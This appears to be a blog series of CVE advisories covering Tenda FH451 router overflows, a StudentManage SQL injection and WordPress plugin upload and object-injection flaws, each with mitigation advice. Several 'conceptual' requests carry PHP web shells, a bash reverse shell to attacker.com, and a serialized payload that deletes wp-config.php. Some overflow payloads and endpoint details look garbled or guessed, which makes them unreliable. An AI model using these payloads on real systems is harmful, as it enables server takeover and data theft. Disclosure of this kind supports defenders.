Author: Ameeba

CVE-2025-7807: Critical Buffer Overflow Vulnerability in Tenda FH451 1.0.0.9 Router
Overview

This post brings to light a highly critical vulnerability found in the Tenda FH451 1.0.0.9 router. Identified as CVE-2025-7807, this security flaw poses a significant risk to all users of the affected router. An attacker can exploit this vulnerability remotely to trigger a stack-based buffer overflow that can potentially compromise the entire system or lead to data leakage.
Considering the severity of the impact and the fact that the vulnerability details are now public, it is absolutely crucial for users and administrators to take immediate steps to mitigate this risk. A failure to do so could result in severe consequences, including unauthorized system access, data breaches, and potential disruption of network services.

Vulnerability Summary

CVE ID: CVE-2025-7807
Severity: Critical, with a CVSS score of 8.8
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Tenda FH451 | 1.0.0.9

How the Exploit Works

The vulnerability resides in the fromSafeUrlFilter function of the /goform/SafeUrlFilter file in the Tenda FH451 1.0.0.9 router. The improper handling of the Go/page argument within this function can lead to a stack-based buffer overflow.
A buffer overflow occurs when more data is put into a buffer than it can handle, causing the extra data to overflow into adjacent memory locations. In this case, an attacker can craft and send a specially formatted request to the vulnerable function, causing a buffer overflow. This can allow the execution of arbitrary code, leading to potential system compromise or data leakage.

Conceptual Example Code

The following conceptual code illustrates how an attacker might exploit this vulnerability. Note that this is a simplified example and real-world exploits might be more complex and difficult to detect.
```
POST /goform/SafeUrlFilter HTTP/1.1
Host: target_router_ip
Content-Type: application/x-www-form-urlencoded
Go/page=[MALICIOUS_PAYLOAD]
```
In the above example, [MALICIOUS_PAYLOAD] would be replaced with a specially crafted string that causes a buffer overflow in the SafeUrlFilter function.

Mitigation

Users and administrators are advised to apply the vendor patch as soon as it is available. In the meantime, utilizing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These tools can help detect and block attempts to exploit this vulnerability. However, they are not a permanent solution and should be used in conjunction with other security measures, such as patch management and regular software updates.
July 25, 2025
CVE-2025-7806: Critical Stack-based Buffer Overflow in Tenda FH451 1.0.0.9
Overview

A critical vulnerability, identified as CVE-2025-7806, has been discovered in Tenda FH451 1.0.0.9. This remote exploit revolves around the manipulation of the ‘Go/page’ argument in the function fromSafeClientFilter of the file ‘/goform/SafeClientFilter’ leading to a stack-based buffer overflow. This vulnerability poses a significant threat to the integrity, availability, and confidentiality of the affected system, potentially leading to a system compromise or data leakage. It is crucial for IT administrators and security professionals to understand the nature of this vulnerability and take the necessary steps to mitigate its impact.

Vulnerability Summary

CVE ID: CVE-2025-7806
Severity: Critical – CVSS Score 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Tenda FH451 | 1.0.0.9

How the Exploit Works

The vulnerability arises from an uncontrolled buffer in the function fromSafeClientFilter. An attacker can manipulate the ‘Go/page’ argument when sending a request to the ‘/goform/SafeClientFilter’ file. This action results in a buffer overflow in the stack, which could allow the attacker to execute arbitrary code in the context of the application.

Conceptual Example Code

Here’s an example of how an attacker might exploit this vulnerability. Please note that this is a conceptual example and does not represent an actual exploit code:
```
POST /goform/SafeClientFilter HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Go/page=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... (continues to fill the buffer)
```
In the above example, the ‘Go/page’ parameter is filled with an excessive amount of ‘A’ characters, causing the stack buffer to overflow.

Mitigation

Tenda has released a patch to address this issue, and it is strongly recommended to apply this patch as soon as possible. If this is not an immediate option, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by monitoring and blocking suspicious traffic patterns that may indicate an attempt to exploit this vulnerability. However, these are temporary solutions and will not provide complete protection against the vulnerability. As such, updating to the patched version remains the best course of action.
July 25, 2025
CVE-2025-7805: Critical Vulnerability in Tenda FH451 1.0.0.9 Leading to Remote Buffer Overflow Attacks
Overview

A critical cybersecurity vulnerability, CVE-2025-7805, has been identified in Tenda FH451 1.0.0.9. This vulnerability has the potential to impact any organization or user operating this version of the product, posing a significant risk to sensitive data and system integrity. The issue resides in the fromPptpUserSetting function of the file /goform/PPTPUserSetting, which can be exploited to initiate stack-based buffer overflow attacks remotely. Given its severity and potential for remote exploitation, this vulnerability demands immediate attention and remediation.

Vulnerability Summary

CVE ID: CVE-2025-7805
Severity: Critical, CVSS Score 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda FH451 | 1.0.0.9

How the Exploit Works

The vulnerability stems from the manipulation of the “delno” argument in the fromPptpUserSetting function. Insecure handling of this argument allows an attacker to overflow the stack buffer, corrupting data and potentially overwriting the return pointer or function pointers to redirect execution to the attacker’s code. This could lead to unauthorized access, system compromise, and data leakage.

Conceptual Example Code

The following is a conceptual representation of how an HTTP request exploiting this vulnerability could look:
```
POST /goform/PPTPUserSetting HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
delno=%cc%x90x90x90...[more malicious shell code]
```
The above payload represents a buffer overflow attack where “%cc%” might be used to overwrite the return pointer, and “x90x90x90…” could be a NOP sled leading to the malicious shellcode.

Mitigation

It is crucial for users of Tenda FH451 1.0.0.9 to apply the vendor patch as soon as possible to fix this vulnerability. In the absence of a patch, or until it can be applied, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation measures. These systems should be configured to monitor and block any suspicious activity related to the /goform/PPTPUserSetting endpoint. The CVE’s criticality and its public disclosure underscore the urgency of these remediation steps.
July 25, 2025
CVE-2025-50585: SQL Injection Vulnerability in StudentManage v1.0
Overview

A serious security vulnerability has been identified in StudentManage v1.0, a popular student management software application. This vulnerability, designated as CVE-2025-50585, exposes the system to potential SQL injection attacks. SQL injection is a code injection technique that attackers use to insert malicious SQL statements into input fields for execution. This can lead to unauthorized viewing of user lists, modification of important data, transaction control, or even issues that could compromise the entire system. With a CVSS Severity Score of 8.8, this vulnerability signifies a high level of risk and urgency.

Vulnerability Summary

CVE ID: CVE-2025-50585
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

StudentManage | v1.0

How the Exploit Works

The exploit takes advantage of inadequate input validation and sanitization in the /admin/adminStudentUrl component of StudentManage v1.0. By crafting a malicious SQL statement, an attacker can manipulate the software’s database queries. This can lead to unauthorized access to sensitive data, modification of data, or even execution of arbitrary commands with the privileges of the application.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit the vulnerability. In this example, the attacker sends a POST request to /admin/adminStudentUrl with a malicious payload designed to reveal all records in the database.
```
POST /admin/adminStudentUrl HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "studentId": "1; SELECT * FROM students;" }
```
In this example, the ‘studentId’ parameter is manipulated to include a SQL statement (SELECT * FROM students;), which would return all records from the ‘students’ table if executed.

Mitigation Guidance

It is highly recommended that users of StudentManage v1.0 immediately apply the vendor-provided patch to address this vulnerability. In the interim, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer temporary mitigation against potential SQL injection attacks exploiting this vulnerability. However, these measures should be considered temporary, and patching the software should be treated as a priority.
July 25, 2025
CVE-2015-10138: High-Risk Arbitrary File Upload Vulnerability in Work The Flow File Upload plugin
Overview

This blog post shines a spotlight on a high-risk vulnerability, CVE-2015-10138, in the Work The Flow File Upload plugin for WordPress. This vulnerability, which affects versions up to and including 2.5.2, allows for arbitrary file uploads due to a lack of file type validation in the jQuery-File-Upload-9.5.0 server and test files. As it affects a popular WordPress plugin, it has the potential to impact a significant number of websites. This vulnerability is especially concerning as it could allow unauthenticated attackers to upload arbitrary files on the affected site’s server, leading to possible remote code execution.

Vulnerability Summary

CVE ID: CVE-2015-10138
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Work The Flow File Upload plugin for WordPress | Versions up to and including 2.5.2

How the Exploit Works

The vulnerability allows an attacker to upload arbitrary files due to missing file type validation in the jQuery-File-Upload-9.5.0 server and test files. This means that an attacker could upload a malicious file, such as a web shell, that could then be executed on the server. This could lead to a complete system compromise, enabling the attacker to execute commands on the server, access sensitive data, or propagate further malicious activity.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This example shows a malicious HTTP request that uploads a web shell:
```
POST /wp-content/plugins/work-the-flow-file-upload/public/assets/jQuery-File-Upload-9.5.0/server/ HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files[]"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```
In this example, “shell.php” is a simple web shell that executes commands passed via the ‘cmd’ GET parameter. Once uploaded, the attacker could trigger the shell by navigating to “http://target.example.com/wp-content/plugins/work-the-flow-file-upload/public/assets/jQuery-File-Upload-9.5.0/server/shell.php?cmd=[command]”.

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the vendor patch. If the patch cannot be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block or monitor for suspicious activity can serve as a temporary mitigation. Regularly updating and patching software, limiting the privileges of web-facing applications, and monitoring network traffic for unusual activity can also help prevent exploitation of this vulnerability.
July 25, 2025
CVE-2016-15043: WP Mobile Detector Plugin for WordPress Arbitrary File Upload Vulnerability
Overview

The CVE-2016-15043 is a high-severity vulnerability that particularly affects the WP Mobile Detector plugin for WordPress. This vulnerability is due to the lack of file type validation in the resize.php file in versions up to and including 3.5. Given the popularity of WordPress as a content management system (CMS), a large number of websites could potentially be affected. This vulnerability matters because it potentially allows unauthenticated attackers to upload arbitrary files to the server of the affected site, potentially enabling remote code execution.

Vulnerability Summary

CVE ID: CVE-2016-15043
Severity: Critical (9.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: The exploitation of this vulnerability could lead to system compromise or data leakage

Affected Products

Product | Affected Versions

WP Mobile Detector plugin for WordPress | Up to and including 3.5

How the Exploit Works

The vulnerability exists due to improper file type validation in the resize.php file of the WP Mobile Detector plugin. An attacker can exploit this vulnerability by sending specially crafted HTTP requests. This would allow the attacker to upload arbitrary files to the server of the affected site, potentially enabling remote code execution. Given that no authentication is required to exploit this vulnerability, any unauthenticated attacker could potentially compromise the system or cause data leakage.

Conceptual Example Code

The following is a conceptual example of how the vulnerability could be exploited. This example demonstrates a HTTP request where an attacker uploads a malicious file.
```
POST /wp-content/plugins/wp-mobile-detector/resize.php HTTP/1.1
Host: vulnerable-wordpress-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1234
------WebKitFormBoundary1234
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php
// malicious payload
system($_GET['cmd']);
?>
------WebKitFormBoundary1234--
```
In the above example, the attacker sends a POST request to the resize.php script with a malicious PHP file. Once uploaded, the attacker can execute arbitrary commands on the server by simply accessing the uploaded file with an appropriate `cmd` parameter.
July 25, 2025
CVE-2015-10135: Arbitrary File Upload Vulnerability in WPshop E-Commerce Plugin for WordPress
Overview

This blog post will detail an important vulnerability that affects the WPshop 2 E-Commerce plugin for WordPress. The vulnerability, known as CVE-2015-10135, allows for arbitrary file uploads due to missing file type validation in certain versions of the plugin. This flaw can potentially lead to system compromise or data leakage, making it a serious threat to any website that uses the affected plugin. Given the widespread use of WordPress for e-commerce and the popularity of the WPshop plugin, this vulnerability poses a substantial risk to online businesses and their customers.

Vulnerability Summary

CVE ID: CVE-2015-10135
Severity: Critical (9.8/10 on the CVSS scale)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthenticated attackers can upload arbitrary files to the server potentially leading to system compromise or data leakage.

Affected Products

Product | Affected Versions

WPshop 2 E-Commerce for WordPress | All versions prior to 1.3.9.6

How the Exploit Works

The vulnerability exists in the ajaxUpload function of the WPshop plugin. This function is used to handle file uploads, but it lacks proper file type validation checks. As a result, an unauthenticated attacker can send a specially crafted HTTP request to upload any file type to the server. This includes executable files or scripts that can be run on the server, leading to remote code execution.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP POST request that uploads a malicious PHP file.
```
POST /wp-content/plugins/wpshop/includes/ajax.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php exec("/bin/bash -c 'bash -i > /dev/tcp/attacker.com/4444 0>&1'"); ?>
------WebKitFormBoundary--
```
In this example, the PHP file contains a command that opens a reverse shell to the attacker’s server, effectively granting them remote access to the server.

Mitigation Advice

The vendor has addressed this vulnerability in version 1.3.9.6 of the WPshop plugin. All users are strongly advised to update to this version or later. If immediate patching is not possible, users may consider using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability. However, these are temporary mitigations and updating the plugin should be prioritized to fully resolve the vulnerability.
July 25, 2025
CVE-2012-10019: Arbitrary File Upload Vulnerability in WordPress Front End Editor Plugin
Overview

The Common Vulnerabilities and Exposures (CVE) system has identified a critical vulnerability, designated as CVE-2012-10019, affecting the Front End Editor plugin for WordPress. This vulnerability allows for arbitrary file uploads due to missing file type validation in versions prior to 2.3. This issue is particularly concerning for WordPress site administrators, as it allows unauthenticated attackers the ability to upload arbitrary files to the affected site’s server. This can potentially lead to remote code execution, making it a significant threat to the integrity and security of a site.

Vulnerability Summary

CVE ID: CVE-2012-10019
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Front End Editor Plugin for WordPress | versions before 2.3

How the Exploit Works

In versions of the Front End Editor plugin prior to 2.3, the upload.php file lacks necessary file type validation. This allows unauthenticated users to upload arbitrary files to the server hosting the WordPress site. These uploaded files can include scripts or other executable content that, when run on the server, can lead to remote code execution. This means that an attacker can essentially take control of the server, leading to a potential system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP POST request to the upload.php file with a malicious payload:
```
POST /wp-content/plugins/front-end-editor/lib/aloha-editor/plugins/extra/draganddropfiles/demo/upload.php HTTP/1.1
Host: target.example.com
Content-Length: [length]
Content-Type: multipart/form-data; boundary=[boundary]
-- [boundary]
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: application/x-php
<?php echo shell_exec($_GET['cmd']); ?>
-- [boundary]--
```
In this example, an unauthenticated user is uploading a PHP file that could be used to execute arbitrary commands on the server.

Mitigation Guidance

It is highly recommended to apply the vendor patch, which includes updating the Front End Editor plugin to version 2.3 or later. As a temporary mitigation, users can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and prevent attempts to exploit this vulnerability.
July 25, 2025
CVE-2025-7697: Critical PHP Object Injection Vulnerability in WordPress Plugin Integration
Overview

The cybersecurity world has been jolted by the discovery of a severe vulnerability, identified as CVE-2025-7697, that is making WordPress sites susceptible to a potential system compromise or data leakage. This vulnerability is associated with the WordPress plugin integration for Google Sheets and Contact Form 7, WPForms, Elementor, Ninja Forms. It primarily affects all versions up to, and including, 1.1.1. The severity of this vulnerability is significant due to the potential for unauthenticated attackers to inject a PHP Object, thereby leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-7697
Severity: Critical (CVSS score: 9.8)
Attack Vector: Network (via PHP Object Injection)
Privileges Required: None
User Interaction: None
Impact: System compromise, Data leakage

Affected Products

Product | Affected Versions

WordPress Plugin Integration for Google Sheets and Contact Form 7, WPForms, Elementor, Ninja Forms | Up to and including 1.1.1

How the Exploit Works

The vulnerability lies in the verify_field_val() function of the affected plugin, which deserializes untrusted input, making it susceptible to PHP Object Injection. Unauthenticated attackers can exploit this by sending a manipulated payload that allows them to inject a PHP Object. Moreover, the presence of a POP (Property-Oriented Programming) chain in the Contact Form 7 plugin, often used alongside the vulnerable plugin, amplifies the exploit. It allows the attackers to delete arbitrary files, causing a denial of service or executing remote code when the wp-config.php file is deleted.

Conceptual Example Code

The following conceptual example shows how an attacker might exploit the vulnerability. This could be a sample HTTP request containing a malicious payload:
```
POST /wp-content/plugins/vulnerable-plugin/verify_field_val HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "<?php class Injection {...}; unserialize('O:9:\"Injection\"...');" }
```
In this example, the “malicious_payload” would contain a serialized PHP object designed to exploit the PHP Object Injection vulnerability.

Mitigation Guidance

Users affected by this vulnerability are strongly advised to apply the vendor patch immediately. If for any reason immediate patching is not possible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. However, these should not be viewed as long-term solutions due to the high severity of the vulnerability.
July 25, 2025
CVE-2025-7696: Critical PHP Object Injection Vulnerability in WordPress Plugin Integration
Overview

The CVE-2025-7696 vulnerability is a critical security flaw that affects the Integration for Pipedrive and Contact Form 7, WPForms, Elementor, Ninja Forms plugin for WordPress. This vulnerability has been identified as a PHP Object Injection vulnerability, which can potentially lead to a system compromise or data leakage. This vulnerability matters immensely as it exposes a wide number of websites that use this popular WordPress plugin to significant security risks, including the potential for Denial of Service (DoS) attacks and remote code execution.

Vulnerability Summary

CVE ID: CVE-2025-7696
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Integration for Pipedrive and Contact Form 7, WPForms, Elementor, Ninja Forms plugin for WordPress | Up to and including 1.2.3

How the Exploit Works

The vulnerability exists due to the unsafe deserialization of untrusted input within the verify_field_val() function in the plugin. This can allow an unauthenticated attacker to inject a malicious PHP Object into the server, leading to arbitrary code execution. When combined with a POP (Property Oriented Programming) chain in the Contact Form 7 plugin, the attacker can delete arbitrary files on the server, potentially deleting the wp-config.php file which leads to a Denial of Service attack or even remote code execution.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:
```
POST /wp-admin/admin-ajax.php?action=pipedrive_cf7_integration HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
cf7_form_id=1&form_data=O%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A5%3A%22field%22%3BO%3A11%3A%22PipedriveAPI%22%3A1%3A%7Bs%3A6%3A%22delete%22%3Bs%3A12%3A%22wp-config.php%22%3B%7D%7D
```
In this example, the attacker sends a POST request to the vulnerable endpoint with a specially crafted `form_data` parameter that contains a serialized PHP object, which when deserialized, triggers the deletion of the wp-config.php file.

Mitigation Guidance

As a mitigation measure, it is recommended to apply the vendor patch as soon as it becomes available. In the meantime, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help to detect and prevent exploitation attempts.
July 25, 2025